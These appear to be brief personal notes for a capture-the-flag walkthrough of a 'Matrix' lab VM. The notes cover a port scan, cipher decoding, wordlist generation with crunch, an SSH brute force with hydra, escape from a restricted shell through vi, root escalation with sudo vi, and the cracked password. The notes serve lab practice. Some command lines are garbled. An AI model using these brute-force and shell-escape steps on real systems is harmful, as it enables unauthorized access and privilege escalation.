nmap -sV -sC 192.168.1.174 -vv

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192.168.1.174:31337/cyphertext.txt

<https://www.dcode.fr/brainfuck-language> ( decode cypher text)

(You can enter into matrix as guest, with password k1ll0rXX

Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.)

crunch 8 8 1234567890abcdefghijklmnopqrstuvwxyz -t k1ll0r@@ -o mywordlist1 (create your own wordlist for password) or cup git repo or mp64 k1ll0r?a?a >> wordlist

cat /usr/shar/crunch/charset.lst (for type of crunch)

crunch 3 3 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space-sv -o mywordlist

hydra -l guest -P /root/mywordlist 192.168.1.174 ssh

password : k1ll0r7n

another user (trinity)

shell is restricted except vi

Echo $SHELL /bin/bash

Echo $PATH /bin

Set shell=bin/bash

:!/bin/bash

Export SHELL=/bin/bash:$SHELL

Export path=/usr/bin:/bin:$PATH

export (to find current the path and shell)

put the :!/bin/bash in vi editor then it will remove restriction

export=PATH=/usr/bin:/bin/

sudo vi -c ':!/bin/bash' /dev/null

root password k1ll0r7n